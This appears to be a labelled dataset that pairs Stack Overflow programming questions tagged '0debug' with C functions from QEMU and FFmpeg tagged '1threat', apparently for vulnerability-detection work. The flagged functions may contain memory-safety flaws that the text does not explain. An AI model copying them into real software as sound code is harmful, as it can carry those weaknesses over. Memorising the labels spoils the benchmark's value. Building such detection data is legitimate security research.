What is wrong with the program I am trying to write : <pre><code>#This is a program which illustrates a chaotic behavior. def main(): print("This is a program which illustrates a chaotic behavior") x = eval(input("Enter a value between 0 and 1: ")) for i in range(10): x = 3.9 * x * (1 - x) print(x) </code></pre> <p>main()</p> <p>I am reading through the book "Python programming, an introduction to computer science by John Zelle" and I am trying to copy-paste this simple program. I am using Geany IDE and after writing the above code I am trying to compile it but I am getting the following error : </p> <pre><code>Sorry: IndentationError: expected an indented block (chaos.py, line 5) </code></pre>
0debug
Error referencing DLL in C# "A reference to xxx.DLL could not be added : <p>I am trying to reference a DLL in a C# application. The DLL has been written in C++. To make the reference I am right-clicking on the "references" section on the solution explorer and choosing "Add Reference" and then browsing to it. Every time I try, I get an error message</p> <blockquote> <p>A reference to xxx.DLL could not be added. Please make sure that the file is acessible, and that it is a valid assembly or COM component.</p> </blockquote> <p>Having done some googling, I noted that many people suggest using TlbImp.exe to get a valid DLL, but when I run it at the command line, I get,</p> <blockquote> <p>TlbImp:error TI0000 : The input file xxx.dll is not a valid type library.</p> </blockquote> <p>It did occur to me that the DLL in question might just be badly written (the chap who wrote it is now on holiday) so I worked through <a href="https://msdn.microsoft.com/en-GB/library/ms235636.aspx" rel="nofollow noreferrer">this</a> microsoft walkthrough to create a new, very simple dll, and I got the same result.</p> <p>I am using VS2015, although I did previously have an install of VS2013 Express. I also tried the same process on another machine with VS2013 and VS2010. The effects were the same.</p> <p>Does anyone have any ideas?</p>
0debug
Style is not done loading: Mapbox GL JS : <p>My goal is to create a before and after map that shows a series of coordinate markers on the after map. </p> <p>When the code is executed, I see this error message in the console: <code>Style is not done loading</code></p> <p>The end goal is to see a cursor that would allow users to swipe horizontally and see the maps change (from before to after).</p> <p>Here's my code so far, any help would go a long way!</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$(document).ready(function() { var request_one = $.ajax({ url: "https://geohack-framework-gbhojraj.c9users.io/ny", dataType: 'json' }) var request_two = $.ajax({ url: "https://geohack-framework-gbhojraj.c9users.io/man", dataType: 'json' }); $.when(request_one, request_two).done(function(response_one, response_two) { console.log(response_one, response_two); //create map of ny state var nyGeo = response_one[0]; var manGeo = response_two[0]; (function() { mapboxgl.accessToken = 'pk.eyJ1IjoiamdhcmNlcyIsImEiOiJjaXY4amM0ZHQwMDlqMnlzOWk2MnVocjNzIn0.Pos1M9ZQgxMGnQ_H-bV7dA'; //manhattan map var manCenter = manGeo.features[0].geometry.coordinates[0][0][0]; console.log('man center is', manCenter); var beforeMap = new mapboxgl.Map({ container: 'before', style: 'mapbox://styles/mapbox/light-v9', center: manCenter, zoom: 5 }); console.log('man geo is ', manGeo); //ny state map var nyCenter = nyGeo.features[0].geometry.coordinates[0][0]; console.log('the ny center is ', nyCenter); var afterMap = new mapboxgl.Map({ container: 'after', style: 'mapbox://styles/mapbox/dark-v9', center: nyCenter, zoom: 9 }); console.log('ny geo homie', nyGeo); afterMap.on('load', function() { afterMap.addSource("points", { "type": "geojson", "data": nyGeo }) }); afterMap.addLayer({ "id": "points", "type": "symbol", "source": "points", "layout": { "icon-image": "{icon}-15", "text-field": "{title}", "text-font": ["Open Sans Semibold", "Arial Unicode MS Bold"], "text-offset": [0, 0.6], "text-anchor": "top" } }); var map = new mapboxgl.Compare(beforeMap, afterMap, { // Set this to enable comparing two maps by mouse movement: // mousemove: true }); }()); }) });</code></pre> </div> </div> </p>
0debug
int av_open_input_file(AVFormatContext **ic_ptr, const char *filename, AVInputFormat *fmt, int buf_size, AVFormatParameters *ap) { AVFormatContext *ic = NULL; int err; char buf[PROBE_BUF_SIZE]; AVProbeData probe_data, *pd = &probe_data; ic = av_mallocz(sizeof(AVFormatContext)); if (!ic) { err = AVERROR_NOMEM; goto fail; } pstrcpy(ic->filename, sizeof(ic->filename), filename); pd->filename = ic->filename; pd->buf = buf; pd->buf_size = 0; if (!fmt) { fmt = probe_input_format(pd, 0); } if (!fmt || !(fmt->flags & AVFMT_NOFILE)) { if (url_fopen(&ic->pb, filename, URL_RDONLY) < 0) { err = AVERROR_IO; goto fail; } if (buf_size > 0) { url_setbufsize(&ic->pb, buf_size); } pd->buf_size = get_buffer(&ic->pb, buf, PROBE_BUF_SIZE); url_fseek(&ic->pb, 0, SEEK_SET); } if (!fmt) { fmt = probe_input_format(pd, 1); } if (!fmt) { err = AVERROR_NOFMT; goto fail; } ic->iformat = fmt; ic->priv_data = av_mallocz(fmt->priv_data_size); if (!ic->priv_data) { err = AVERROR_NOMEM; goto fail; } if (ic->iformat->flags & AVFMT_NEEDNUMBER) { if (filename_number_test(ic->filename) < 0) { err = AVERROR_NUMEXPECTED; goto fail1; } } err = ic->iformat->read_header(ic, ap); if (err < 0) goto fail1; *ic_ptr = ic; return 0; fail1: if (!(fmt->flags & AVFMT_NOFILE)) { url_fclose(&ic->pb); } fail: if (ic) { av_free(ic->priv_data); } av_free(ic); *ic_ptr = NULL; return err; }
1threat
static void scsi_dma_complete(void *opaque, int ret) { SCSIDiskReq *r = (SCSIDiskReq *)opaque; SCSIDiskState *s = DO_UPCAST(SCSIDiskState, qdev, r->req.dev); bdrv_acct_done(s->qdev.conf.bs, &r->acct); if (ret) { if (scsi_handle_rw_error(r, -ret)) { goto done; } } r->sector += r->sector_count; r->sector_count = 0; scsi_req_complete(&r->req, GOOD); done: if (!r->req.io_canceled) { scsi_req_unref(&r->req); } }
1threat
WHy If condition block is getting executed ? : I have this conditions if (txtBoxFatherHusbandName.Text != "" || txtBoxName.Text != "" || txtBoxNICNo.Text != "") { ShowMsgBox("Please first <b>Save/Update</b> the data being entered in mandatory fields"); txtBoxFatherHusbandName.Focus(); return; } all three textboxes are empty with no text in it but still the conditions is getting executed. why ?
0debug
static void set_sel_time(IPMIBmcSim *ibs, uint8_t *cmd, unsigned int cmd_len, uint8_t *rsp, unsigned int *rsp_len, unsigned int max_rsp_len) { uint32_t val; struct ipmi_time now; IPMI_CHECK_CMD_LEN(6); val = cmd[2] | (cmd[3] << 8) | (cmd[4] << 16) | (cmd[5] << 24); ipmi_gettime(&now); ibs->sel.time_offset = now.tv_sec - ((long) val); }
1threat
uint64_t timer_expire_time_ns(QEMUTimer *ts) { return timer_pending(ts) ? ts->expire_time : -1; }
1threat
What does Kubernetes cronjobs `startingDeadlineSeconds` exactly mean? : <p>In Kubernetes <a href="https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/" rel="noreferrer">cronjobs</a>, It is stated in the <a href="https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/#cron-job-limitations" rel="noreferrer">limitations section</a> that </p> <blockquote> <p>Jobs may fail to run if the CronJob controller is not running or broken for a span of time from before the start time of the CronJob to start time plus startingDeadlineSeconds, or if the span covers multiple start times and concurrencyPolicy does not allow concurrency.</p> </blockquote> <p>What I understand from this is that, If the <code>startingDeadlineSeconds</code> is set to <code>10</code> and the cronjob couldn't start for some reason at its scheduled time, then it can still be attempted to start again as long as those <code>10</code> seconds haven't passed, however, after the <code>10</code> seconds, it for sure won't be started, is this correct?</p> <p>Also, If I have <code>concurrencyPolicy</code> set to <code>Forbid</code>, does K8s count it as a fail if a cronjob tries to be scheduled, when there is one already running?</p>
0debug
Recursive method for 2,4,8,..in java : <p>I need to write an recursive method for my classes. The method should print the first n elements of the sequence 1,2,4,8,16,... so if the method is called for example like:</p> <pre><code>recSeq(6); </code></pre> <p>the method should print: 1,2,4,8,16,32 The method is declared like this:</p> <pre><code>static void recSeq(int n){ //enter code here } </code></pre> <p>I really don't know how to to it without a return value or something? Any ideas?</p>
0debug
Strange diagonal lines in Chrome/Chromium (bug?) : <p>When I use CSS filters, shadows, transformations, SVG (or similar), my Chrome/Chromium shows a strange diagonal lines:</p> <pre><code> filter:drop-shadow(0px 0px 10px #dce810); transform:skew(-15deg); </code></pre> <p><a href="https://i.stack.imgur.com/pfPL4.png" rel="noreferrer"><img src="https://i.stack.imgur.com/pfPL4.png" alt="Diagonal lines error Chrome/Chromium"></a></p> <p>No error in Firefox (Windows) / Canary Chrome 58. Error on Chrome 56 and Chromium 58 (Windows).</p> <p>In this pen, ocurrs this error (at end, when switch on title): <a href="https://codepen.io/manz/pen/jyYKJo" rel="noreferrer">https://codepen.io/manz/pen/jyYKJo</a></p> <p>Does anyone know if it's a known bug or some problem that is solved by disabling any option?</p>
0debug
static int encode_dvb_subtitles(DVBSubtitleContext *s, uint8_t *outbuf, const AVSubtitle *h) { uint8_t *q, *pseg_len; int page_id, region_id, clut_id, object_id, i, bpp_index, page_state; q = outbuf; page_id = 1; if (h->num_rects == 0 || h->rects == NULL) return -1; *q++ = 0x00; *q++ = 0x0f; *q++ = 0x10; bytestream_put_be16(&q, page_id); pseg_len = q; q += 2; *q++ = 30; if (s->hide_state) page_state = 0; else page_state = 2; *q++ = (s->object_version << 4) | (page_state << 2) | 3; for (region_id = 0; region_id < h->num_rects; region_id++) { *q++ = region_id; *q++ = 0xff; bytestream_put_be16(&q, h->rects[region_id]->x); bytestream_put_be16(&q, h->rects[region_id]->y); } bytestream_put_be16(&pseg_len, q - pseg_len - 2); if (!s->hide_state) { for (clut_id = 0; clut_id < h->num_rects; clut_id++) { if (h->rects[clut_id]->nb_colors <= 4) { bpp_index = 0; } else if (h->rects[clut_id]->nb_colors <= 16) { bpp_index = 1; } else { return -1; } *q++ = 0x0f; *q++ = 0x12; bytestream_put_be16(&q, page_id); pseg_len = q; q += 2; *q++ = clut_id; *q++ = (0 << 4) | 0xf; for(i = 0; i < h->rects[clut_id]->nb_colors; i++) { *q++ = i; *q++ = (1 << (7 - bpp_index)) | (0xf << 1) | 1; { int a, r, g, b; uint32_t x= ((uint32_t*)h->rects[clut_id]->pict.data[1])[i]; a = (x >> 24) & 0xff; r = (x >> 16) & 0xff; g = (x >> 8) & 0xff; b = (x >> 0) & 0xff; *q++ = RGB_TO_Y_CCIR(r, g, b); *q++ = RGB_TO_V_CCIR(r, g, b, 0); *q++ = RGB_TO_U_CCIR(r, g, b, 0); *q++ = 255 - a; } } bytestream_put_be16(&pseg_len, q - pseg_len - 2); } } for (region_id = 0; region_id < h->num_rects; region_id++) { if (h->rects[region_id]->nb_colors <= 4) { bpp_index = 0; } else if (h->rects[region_id]->nb_colors <= 16) { bpp_index = 1; } else { return -1; } *q++ = 0x0f; *q++ = 0x11; bytestream_put_be16(&q, page_id); pseg_len = q; q += 2; *q++ = region_id; *q++ = (s->object_version << 4) | (0 << 3) | 0x07; bytestream_put_be16(&q, h->rects[region_id]->w); bytestream_put_be16(&q, h->rects[region_id]->h); *q++ = ((1 + bpp_index) << 5) | ((1 + bpp_index) << 2) | 0x03; *q++ = region_id; *q++ = 0; *q++ = 0x03; if (!s->hide_state) { bytestream_put_be16(&q, region_id); *q++ = (0 << 6) | (0 << 4); *q++ = 0; *q++ = 0xf0; *q++ = 0; } bytestream_put_be16(&pseg_len, q - pseg_len - 2); } if (!s->hide_state) { for (object_id = 0; object_id < h->num_rects; object_id++) { if (h->rects[object_id]->nb_colors <= 4) { bpp_index = 0; } else if (h->rects[object_id]->nb_colors <= 16) { bpp_index = 1; } else { return -1; } *q++ = 0x0f; *q++ = 0x13; bytestream_put_be16(&q, page_id); pseg_len = q; q += 2; bytestream_put_be16(&q, object_id); *q++ = (s->object_version << 4) | (0 << 2) | (0 << 1) | 1; { uint8_t *ptop_field_len, *pbottom_field_len, *top_ptr, *bottom_ptr; void (*dvb_encode_rle)(uint8_t **pq, const uint8_t *bitmap, int linesize, int w, int h); ptop_field_len = q; q += 2; pbottom_field_len = q; q += 2; if (bpp_index == 0) dvb_encode_rle = dvb_encode_rle2; else dvb_encode_rle = dvb_encode_rle4; top_ptr = q; dvb_encode_rle(&q, h->rects[object_id]->pict.data[0], h->rects[object_id]->w * 2, h->rects[object_id]->w, h->rects[object_id]->h >> 1); bottom_ptr = q; dvb_encode_rle(&q, h->rects[object_id]->pict.data[0] + h->rects[object_id]->w, h->rects[object_id]->w * 2, h->rects[object_id]->w, h->rects[object_id]->h >> 1); bytestream_put_be16(&ptop_field_len, bottom_ptr - top_ptr); bytestream_put_be16(&pbottom_field_len, q - bottom_ptr); } bytestream_put_be16(&pseg_len, q - pseg_len - 2); } } *q++ = 0x0f; *q++ = 0x80; bytestream_put_be16(&q, page_id); pseg_len = q; q += 2; bytestream_put_be16(&pseg_len, q - pseg_len - 2); *q++ = 0xff; s->object_version = (s->object_version + 1) & 0xf; s->hide_state = !s->hide_state; return q - outbuf; }
1threat
static void init_input_filter(FilterGraph *fg, AVFilterInOut *in) { InputStream *ist; enum AVMediaType type = avfilter_pad_get_type(in->filter_ctx->input_pads, in->pad_idx); int i; if (type != AVMEDIA_TYPE_VIDEO && type != AVMEDIA_TYPE_AUDIO) { av_log(NULL, AV_LOG_FATAL, "Only video and audio filters supported " "currently.\n"); exit_program(1); } if (in->name) { AVFormatContext *s; AVStream *st = NULL; char *p; int file_idx = strtol(in->name, &p, 0); if (file_idx < 0 || file_idx >= nb_input_files) { av_log(NULL, AV_LOG_FATAL, "Invalid file index %d in filtegraph description %s.\n", file_idx, fg->graph_desc); exit_program(1); } s = input_files[file_idx]->ctx; for (i = 0; i < s->nb_streams; i++) { if (s->streams[i]->codec->codec_type != type) continue; if (check_stream_specifier(s, s->streams[i], *p == ':' ? p + 1 : p) == 1) { st = s->streams[i]; break; } } if (!st) { av_log(NULL, AV_LOG_FATAL, "Stream specifier '%s' in filtergraph description %s " "matches no streams.\n", p, fg->graph_desc); exit_program(1); } ist = input_streams[input_files[file_idx]->ist_index + st->index]; } else { for (i = 0; i < nb_input_streams; i++) { ist = input_streams[i]; if (ist->st->codec->codec_type == type && ist->discard) break; } if (i == nb_input_streams) { av_log(NULL, AV_LOG_FATAL, "Cannot find a matching stream for " "unlabeled input pad %d on filter %s", in->pad_idx, in->filter_ctx->name); exit_program(1); } } ist->discard = 0; ist->decoding_needed = 1; ist->st->discard = AVDISCARD_NONE; fg->inputs = grow_array(fg->inputs, sizeof(*fg->inputs), &fg->nb_inputs, fg->nb_inputs + 1); if (!(fg->inputs[fg->nb_inputs - 1] = av_mallocz(sizeof(*fg->inputs[0])))) exit_program(1); fg->inputs[fg->nb_inputs - 1]->ist = ist; fg->inputs[fg->nb_inputs - 1]->graph = fg; ist->filters = grow_array(ist->filters, sizeof(*ist->filters), &ist->nb_filters, ist->nb_filters + 1); ist->filters[ist->nb_filters - 1] = fg->inputs[fg->nb_inputs - 1]; }
1threat
An error occurs in dmeo of HUOBI API : Thank you for viewing. I am an engineer in Japan. I am glad that you can understand that you are not very good at English. Well, it is the main subject. programming language is PHP. I am trying to obtain account information by using HUOBI's API. https://github.com/huobiapi/REST-API-demos/tree/master/REST-PHP-DEMO An error occurred when get_balance() was executed by changing the setting of "demo.php" to my ID and password. The details of the error are as follows. object(stdClass)#2 (4) { ["status"]=> string(5) "error" ["err-code"]=> string(44) "account-get-balance-account-inexistent-error" ["err-msg"]=> string(64) "account for id `*,***,***` and user id `×,×××,×××` is not exist" ["data"]=> NULL } `*,***,***` is my UID!! `×,×××,×××` id Next number of UID(UID+1) Source is exactly as git goes up. I will wait for the answer.
0debug
Need to Extract multi value key pare using regex : In My Web test project one request return below json in body tag. And I wants to extract all TimeEntryIds of Each FieldItem. using single RegEx extractor (Post porcessors) because I need to pass each TimeEntryid in successive web request. { "InvoiceItemId": 0, "JobId": 9999, "CreatedDate": "0001-01-01T00:00:00Z", "LastUpdatedDate": "0001-01-01T00:00:00Z", "FieldItem": [ { "root": false, "TimeEntryId": 1, "UpdatedDate": "2019-07-19T13:14:29.823Z" }, { "root": false, "TimeEntryId": 2, "UpdatedDate": "2019-07-19T13:14:29.823Z" }, { "root": false, "TimeEntryId": 3, "UpdatedDate": "2019-07-19T13:14:29.823Z" }, { "root": false, "TimeEntryId": 4, "UpdatedDate": "2019-07-19T13:14:29.823Z" } ] } Is there any short cut to get the all Key\Value pare in single RegEx extractor.
0debug
Radix Sorting Algorithm in c : <p>I have been tried to write radix sort in c.when i run my code with the static array it works well. but when i am trying to take random inputs from file it gives me an "Segmentation fault" at run time.help Please just help to modify this code here is my code:</p> <pre><code> #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include&lt;math.h&gt; #include&lt;string.h&gt; int getMax(int arr[], int n) { int mx = arr[0]; int i; for (i = 1; i &lt; n; i++) if (arr[i] &gt; mx) mx = arr[i]; return mx; } void countSort(int arr[], int n, int exp,int base) { int output[n]; int i; int count[base]; memset(count, 0, sizeof count); for (i = 0; i &lt; n; i++) count[ (arr[i]/exp)%base]++; for (i = 1; i &lt; base; i++) count[i] += count[i - 1]; for (i = n - 1; i &gt;= 0; i--) { output[count[ (arr[i]/exp)%base ] - 1] = arr[i]; count[ (arr[i]/exp)%base ]--; } for (i = 0; i &lt; n; i++) arr[i] = output[i]; } void radixsort(int arr[], int n,int base) { int m = getMax(arr, n); int exp; for (exp = 1; m/exp &gt; 0; exp *= 10) countSort(arr, n, exp , base); } void print(int arr[], int n) { int i; for (i = 0; i &lt; n; i++) printf("%d ",arr[i]); } int main(int argc,int argv[]) { int base=atoi(argv[1]); int num,i; FILE *fp1=fopen("myFile1.txt","r"); int arr[50]; while(fscanf(fp1,"%d",&amp;num)==1) { arr[i]=num; i++; } int n = sizeof(arr)/sizeof(arr[0]); radixsort(arr, n ,base); print(arr, n); fclose(fp1); return 0; } </code></pre>
0debug
static inline void RENAME(uyvyToY)(uint8_t *dst, uint8_t *src, long width) { #ifdef HAVE_MMX asm volatile( "mov %0, %%"REG_a" \n\t" "1: \n\t" "movq (%1, %%"REG_a",2), %%mm0 \n\t" "movq 8(%1, %%"REG_a",2), %%mm1 \n\t" "psrlw $8, %%mm0 \n\t" "psrlw $8, %%mm1 \n\t" "packuswb %%mm1, %%mm0 \n\t" "movq %%mm0, (%2, %%"REG_a") \n\t" "add $8, %%"REG_a" \n\t" " js 1b \n\t" : : "g" (-width), "r" (src+width*2), "r" (dst+width) : "%"REG_a ); #else int i; for(i=0; i<width; i++) dst[i]= src[2*i+1]; #endif }
1threat
static bool pmsav7_rgnr_vmstate_validate(void *opaque, int version_id) { ARMCPU *cpu = opaque; return cpu->env.pmsav7.rnr < cpu->pmsav7_dregion; }
1threat
Subset by highest value of a variable (R) : <p>How can I create a subset by the highest value of a certain variable in a data frame?</p> <p>I have the following dataframe, from which I want to extract the highest value of V1 by name:</p> <pre><code> name V1 V2 1 name1 1 f 2 name1 2 b 3 name1 5 c 4 name2 3 f 5 name2 8 g 6 name2 2 m </code></pre> <p>The subset should look like this</p> <pre><code> name V1 V2 3 name1 5 c 5 name2 8 g </code></pre>
0debug
Core Image: CIFilter : I am wasting my 1 question a month on this so please answer it. let filter: CIFilter! filter = CIFilter(name: "Sepo") filter.setValue(image, forKey: kCIInputImageKey) what is the key doing? is it naming the image that I am putting in or what? It has such a confusing name it makes no sense..
0debug
How to convert a number to a linked list in C++ : <p>I am starting out learning about linked lists and am trying to solve a programming problem. The output needs to be a number represented as a linked list. For example, if the number is 123, the linked list needs to be 3->2->1. </p> <p>According to my implementation, I am doing all other functions beforehand and have the final output number as an int, and need to convert it to a linked list. I tried the following code.</p> <pre><code> ListNode* numToLL(int sum){ ListNode* mainHead; int remainder = sum % 10; mainHead-&gt;val = remainder; sum = sum / 10; ListNode* head; head = mainHead; while (sum != 0){ ListNode* nextNode; int remainder = sum % 10; nextNode-&gt;val = remainder; head-&gt;next = nextNode; head = nextNode; sum = sum / 10; } return mainHead; } </code></pre> <p>I know this is incorrect, but I am not sure how to correct it. The error message for this says: "runtime error: member access within null pointer of type 'struct ListNode'" on the 3rd line inside the function.</p>
0debug
int qcow2_alloc_cluster_link_l2(BlockDriverState *bs, QCowL2Meta *m) { BDRVQcowState *s = bs->opaque; int i, j = 0, l2_index, ret; uint64_t *old_cluster, start_sect, l2_offset, *l2_table; uint64_t cluster_offset = m->cluster_offset; bool cow = false; trace_qcow2_cluster_link_l2(qemu_coroutine_self(), m->nb_clusters); if (m->nb_clusters == 0) return 0; old_cluster = g_malloc(m->nb_clusters * sizeof(uint64_t)); start_sect = (m->offset & ~(s->cluster_size - 1)) >> 9; if (m->n_start) { cow = true; qemu_co_mutex_unlock(&s->lock); ret = copy_sectors(bs, start_sect, cluster_offset, 0, m->n_start); qemu_co_mutex_lock(&s->lock); if (ret < 0) goto err; } if (m->nb_available & (s->cluster_sectors - 1)) { uint64_t end = m->nb_available & ~(uint64_t)(s->cluster_sectors - 1); cow = true; qemu_co_mutex_unlock(&s->lock); ret = copy_sectors(bs, start_sect + end, cluster_offset + (end << 9), m->nb_available - end, s->cluster_sectors); qemu_co_mutex_lock(&s->lock); if (ret < 0) goto err; } if (cow) { qcow2_cache_depends_on_flush(s->l2_table_cache); } qcow2_cache_set_dependency(bs, s->l2_table_cache, s->refcount_block_cache); ret = get_cluster_table(bs, m->offset, &l2_table, &l2_offset, &l2_index); if (ret < 0) { goto err; } qcow2_cache_entry_mark_dirty(s->l2_table_cache, l2_table); for (i = 0; i < m->nb_clusters; i++) { if(l2_table[l2_index + i] != 0) old_cluster[j++] = l2_table[l2_index + i]; l2_table[l2_index + i] = cpu_to_be64((cluster_offset + (i << s->cluster_bits)) | QCOW_OFLAG_COPIED); } ret = qcow2_cache_put(bs, s->l2_table_cache, (void**) &l2_table); if (ret < 0) { goto err; } if (j != 0) { for (i = 0; i < j; i++) { qcow2_free_any_clusters(bs, be64_to_cpu(old_cluster[i]) & ~QCOW_OFLAG_COPIED, 1); } } ret = 0; err: g_free(old_cluster); return ret; }
1threat
I need to create a batch file which will copy a file on multiple servers : <p>Basically this batch file will keep track of changes made by users and it will update the changes on multiple server. Is this feasible to update file on multiple servers</p>
0debug
BlockAIOCB *bdrv_aio_readv(BlockDriverState *bs, int64_t sector_num, QEMUIOVector *qiov, int nb_sectors, BlockCompletionFunc *cb, void *opaque) { trace_bdrv_aio_readv(bs, sector_num, nb_sectors, opaque); return bdrv_co_aio_rw_vector(bs, sector_num, qiov, nb_sectors, 0, cb, opaque, false); }
1threat
End of file in Perl - readline : At the moment I'm trying to get an Perl-script working. However, I do get an error, namely: >readline() on closed filehandle IN at Test.pl line 368, <IN> line 65. Line 368 of the perl-script looks like this: >while(<IN>){ And refers to the configuration-input file, and the last line (line 65) looks like this: >num_cpus = 40 So I guess, the configuration-input-file is not correct, or perl does not recognize that this is the end of the file. Is there a way to solve this?
0debug
int ff_dirac_parse_sequence_header(AVCodecContext *avctx, GetBitContext *gb, dirac_source_params *source) { unsigned version_major; unsigned video_format, picture_coding_mode; version_major = svq3_get_ue_golomb(gb); svq3_get_ue_golomb(gb); avctx->profile = svq3_get_ue_golomb(gb); avctx->level = svq3_get_ue_golomb(gb); video_format = svq3_get_ue_golomb(gb); if (version_major < 2) av_log(avctx, AV_LOG_WARNING, "Stream is old and may not work\n"); else if (version_major > 2) av_log(avctx, AV_LOG_WARNING, "Stream may have unhandled features\n"); if (video_format > 20) return -1; *source = dirac_source_parameters_defaults[video_format]; if (parse_source_parameters(avctx, gb, source)) return -1; if (av_image_check_size(source->width, source->height, 0, avctx)) return -1; avcodec_set_dimensions(avctx, source->width, source->height); picture_coding_mode = svq3_get_ue_golomb(gb); if (picture_coding_mode != 0) { av_log(avctx, AV_LOG_ERROR, "Unsupported picture coding mode %d", picture_coding_mode); return -1; } return 0; }
1threat
int vfio_region_setup(Object *obj, VFIODevice *vbasedev, VFIORegion *region, int index, const char *name) { struct vfio_region_info *info; int ret; ret = vfio_get_region_info(vbasedev, index, &info); if (ret) { return ret; } region->vbasedev = vbasedev; region->flags = info->flags; region->size = info->size; region->fd_offset = info->offset; region->nr = index; if (region->size) { region->mem = g_new0(MemoryRegion, 1); memory_region_init_io(region->mem, obj, &vfio_region_ops, region, name, region->size); if (!vbasedev->no_mmap && region->flags & VFIO_REGION_INFO_FLAG_MMAP && !(region->size & ~qemu_real_host_page_mask)) { ret = vfio_setup_region_sparse_mmaps(region, info); if (ret) { region->nr_mmaps = 1; region->mmaps = g_new0(VFIOMmap, region->nr_mmaps); region->mmaps[0].offset = 0; region->mmaps[0].size = region->size; } } } g_free(info); trace_vfio_region_setup(vbasedev->name, index, name, region->flags, region->fd_offset, region->size); return 0; }
1threat
Jquery - Split a string(credit card number) in 4 groups : <p>I'm looking to split a credit card number in 4 groups with 4 digits each.</p> <p>So for 4111111111111111, to be displayed as 4111 1111 1111 1111.</p> <p>Keep in mind that this code is already existing, so I don't want to split it while typing.</p> <p>Thanks a lot!</p>
0debug
Laravel: what is the best practice to show errors in a modal when save a form? : <p>In my Laravel application (Bootstrap 4, jQuery and Axios) I have a page with multiple forms. Some forms are in a modal, but not all forms. </p> <pre><code>&lt;form method="post"&gt; &lt;div class="modal"&gt; // show errors // form fields &lt;/div&gt; &lt;/form&gt; </code></pre> <p>I will not use ajax for posting this form. What is the best practice to show errors in a modal, when post a form when there are many others forms on the same page?</p> <p>The problem now is: when a user posts a form with a field error, Laravel redirects the user back to the page, with the modal closed. When the user opens the modal, he shees the error in the modal. What is the best practice to prevent this?</p>
0debug
How to parse array from string : This is my input String str = "{\"myKey\":[{\"myHhome\":\"home1\",\"myAddress\":\"add\",\"dateTimeStamp\":\"Wed, 20 Mar 2019 14:38:54 GMT\"}],\"basedata\":{\"mydata\":{\"mytype\":\"m1\",\"mytype2\":\"m2\"}}}"; I chekced the json and it is valid I want to use GSON to get the value of the myHhome ( in my case hom1) static class Myclass{ public String generation = null; } final Gson GSON1 = new Gson(); String result= GSON1.fromJson(str,Myclass.class); System.out.println(result); but i got null
0debug
I would like to combine output of below script in one text file - Powershell : enter code here Write-Host "Drive information for $env:ComputerName" Get-WmiObject -Class Win32_LogicalDisk | Where-Object {$_.DriveType -ne 5} | Sort-Object -Property Name | Select-Object Name, VolumeName, VolumeSerialNumber,SerialNumber, FileSystem, Description, VolumeDirty, ` @{"Label"="DiskSize(GB)";"Expression"={"{0:N}" -f ($_.Size/1GB) -as [float]}}, ` @{"Label"="FreeSpace(GB)";"Expression"={"{0:N}" -f ($_.FreeSpace/1GB) -as [float]}}, ` @{"Label"="%Free";"Expression"={"{0:N}" -f ($_.FreeSpace/$_.Size*100) -as [float]}} | Format-Table -AutoSize =========================== gcim Win32_OperatingSystem | f1 * | f1 > info.txt; notepad.exe info.txt
0debug
Android databinding - How to get dimensions from dimens.xml : <p>I want to set margins based on dimensions i have created in dimens.xml The dimensions it sself works fine, its just data binding cant find it in the case below:</p> <pre><code>&lt;TextView android:id="@+id/title_main" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerHorizontal="true" android:layout_below="@+id/disableButton" ************* android:layout_marginBottom="@{@bool/showAds ? @dimen/frontpage_margin_ads: @dimen/frontpage_margin_noads}" ************* android:gravity="center_horizontal" android:text="@string/app_name" android:textColor="@android:color/holo_orange_dark" android:contentDescription="@string/app_name" android:textSize="64sp" android:textStyle="bold" /&gt; </code></pre> <p>it did find it but it says that marginbottom cannot take type float. How can i fix this? I tried casting both dimens to int but then it complains that it cannot be casted to int. </p> <p>My dimensions xml file looks like this:</p> <pre><code> &lt;resources&gt; &lt;!-- Default screen margins, per the Android Design guidelines. --&gt; &lt;dimen name="activity_horizontal_margin"&gt;16dp&lt;/dimen&gt; &lt;dimen name="activity_vertical_margin"&gt;16dp&lt;/dimen&gt; &lt;dimen name="bigText"&gt;44sp&lt;/dimen&gt; &lt;dimen name="littleText"&gt;44sp&lt;/dimen&gt; &lt;dimen name="mediumText"&gt;40sp&lt;/dimen&gt; &lt;dimen name="smallText"&gt;24sp&lt;/dimen&gt; &lt;dimen name="fab_margin"&gt;16dp&lt;/dimen&gt; &lt;dimen name="frontpage_margin_noads"&gt;0dp&lt;/dimen&gt; &lt;dimen name="frontpage_margin_ads"&gt;13dp&lt;/dimen&gt; &lt;/resources&gt; </code></pre>
0debug
Excel BeforeDoubleClick Delete Multiple Cells in a Given Row : <p>This seems so simple, but I'm having a heckava time finding an answer. I'd appreciate any help. </p> <p>On a Worksheet I have five columns of data, in three groupings:</p> <p>A1 B1 C1 <strong>D1</strong> E1 ---- J1 K1 L1 <strong>M1</strong> N1 ---- O1 P1 Q1 <strong>R1</strong> S1</p> <p>A2 B2 C2 <strong>D2</strong> E2 ---- J2 K2 L2 <strong>M2</strong> N2 ---- O2 P2 Q2 <strong>R2</strong> S2</p> <p>A3 B3 C3 <strong>D3</strong> E3 ---- J3 K3 L3 <strong>M3</strong> N3 ---- O3 P3 Q3 <strong>R3</strong> S3</p> <p>And so on for 200 rows.</p> <p>What I want to be able to do in Excel is doubleclick on a cell in the D, M or R column and delete the respective grouping and have that section of the row shift up. For example, I doubleclick on <strong>D2</strong> and A2, B2, C2, D2 and E2 are deleted, shifting up A3, B3, C3, D3 and E3. All other cells remain the same. </p> <p>In advance, thanks for any suggestions.</p>
0debug
static int ehci_reset_queue(EHCIQueue *q) { int packets; trace_usb_ehci_queue_action(q, "reset"); packets = ehci_cancel_queue(q); q->dev = NULL; q->qtdaddr = 0; return packets; }
1threat
